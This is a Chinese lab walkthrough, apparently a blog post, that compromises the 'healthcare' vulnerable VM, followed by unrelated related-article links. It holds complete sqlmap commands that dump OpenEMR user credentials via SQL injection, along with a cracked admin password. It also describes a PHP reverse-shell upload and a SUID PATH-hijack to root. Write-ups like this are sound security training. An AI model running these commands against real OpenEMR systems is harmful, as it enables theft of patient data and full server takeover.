healthcare靶机(openEMR管理系统SQL注入漏洞)

2023-11-03 07:50

本文主要是介绍healthcare靶机(openEMR管理系统SQL注入漏洞),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

环境准备

靶机链接:百度网盘 请输入提取码b

提取码:822u

虚拟机网络链接模式:桥接模式

攻击机系统:kali linux 2021.1

信息收集

1.探测目标靶机arp-scan -l

nmap -p- -A -T4 192.168.1.102 //探测目标靶机开放端口和服务

2.用gobuster扫描目录

gobuster dir -u http://192.168.1.102 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50

3.访问网页

漏洞利用

1.查看敏感目录/robots.txt;没有一点用。

2.访问openemr目录是一个登录界面,并且是cms有版本号

http://192.168.1.102/openemr/interface/login/login_frame.php

3.数据库中查找cms漏洞,找到俩个,而且都是SQL注入漏洞

searchsploit openemr

方法一:

1.查看下17998.txt 没啥利用的

2.查看49742.py是一个python脚本,可以利用,只需更改ip 用python3来执行

searchsploit -m 49742.py //保存到本地

3.用python3来执行

4.MD5解码admin ackbar

方法二

sqlmap -u http://192.168.1.102/openemr//interface/login/validateUser.php?u= --dbs
sqlmap -u http://192.168.1.102/openemr//interface/login/validateUser.php?u= -D openemr --tables
sqlmap -u http://192.168.1.102/openemr//interface/login/validateUser.php?u= -D openemr -T users --columns
sqlmap -u http://192.168.1.102/openemr//interface/login/validateUser.php?u= -D openemr -T users -C username,password --dump

1.我这边python提示环境下没有这个目录,用软连接

/usr/bin/env: “python”: 没有那个文件或目录

sudo ln -s /usr/bin/python3 /usr/bin/python

2.查询表名 -D指定数据库名称

u= -D openemr --tables

3.u= -D openemr -T users --columns

4.u= -D openemr -T users -C username,password --dump

5.用爆出的密码登录

6.在files,有一个配置文件可以更改,那么就可以把php-reverse-shell.php(github里有)的代码复制过来

7.开启监听,访问目录,触发木马,成功反弹shell

权限提升

1.用find命令查询到healthcheck,有suid权限

python -c "import pty;pty.spawn('/bin/bash')" //反弹交互式shell

find / -perm -u=s -type f 2>/dev/null //查询以suid权限执行的文件

2.运行后,他的命令,有ifconfig的组成;

3.自己创建一个ifconfig里面写入提权脚本,让ifconfig,优先执行我的ifconfig,只需改变环境变量即可!

export PATH=/tmp:$PATH

4.再次执行healthcheck,就成功提权到root!!!

这篇关于healthcare靶机(openEMR管理系统SQL注入漏洞)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/336679

相关文章

SpringBoot中@Value注入静态变量方式

《SpringBoot中@Value注入静态变量方式》SpringBoot中静态变量无法直接用@Value注入,需通过setter方法,@Value(${})从属性文件获取值,@Value(#{})用... 目录项目场景解决方案注解说明1、@Value("${}")使用示例2、@Value("#{}"php

MySQL的JDBC编程详解

《MySQL的JDBC编程详解》:本文主要介绍MySQL的JDBC编程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、前置知识1. 引入依赖2. 认识 url二、JDBC 操作流程1. JDBC 的写操作2. JDBC 的读操作总结前言本文介绍了mysq

java.sql.SQLTransientConnectionException连接超时异常原因及解决方案

《java.sql.SQLTransientConnectionException连接超时异常原因及解决方案》:本文主要介绍java.sql.SQLTransientConnectionExcep... 目录一、引言二、异常信息分析三、可能的原因3.1 连接池配置不合理3.2 数据库负载过高3.3 连接泄漏

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

MySQL中On duplicate key update的实现示例

《MySQL中Onduplicatekeyupdate的实现示例》ONDUPLICATEKEYUPDATE是一种MySQL的语法,它在插入新数据时,如果遇到唯一键冲突,则会执行更新操作,而不是抛... 目录1/ ON DUPLICATE KEY UPDATE的简介2/ ON DUPLICATE KEY UP

MySQL分库分表的实践示例

《MySQL分库分表的实践示例》MySQL分库分表适用于数据量大或并发压力高的场景,核心技术包括水平/垂直分片和分库,需应对分布式事务、跨库查询等挑战,通过中间件和解决方案实现,最佳实践为合理策略、备... 目录一、分库分表的触发条件1.1 数据量阈值1.2 并发压力二、分库分表的核心技术模块2.1 水平分

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

Python与MySQL实现数据库实时同步的详细步骤

《Python与MySQL实现数据库实时同步的详细步骤》在日常开发中,数据同步是一项常见的需求,本篇文章将使用Python和MySQL来实现数据库实时同步,我们将围绕数据变更捕获、数据处理和数据写入这... 目录前言摘要概述:数据同步方案1. 基本思路2. mysql Binlog 简介实现步骤与代码示例1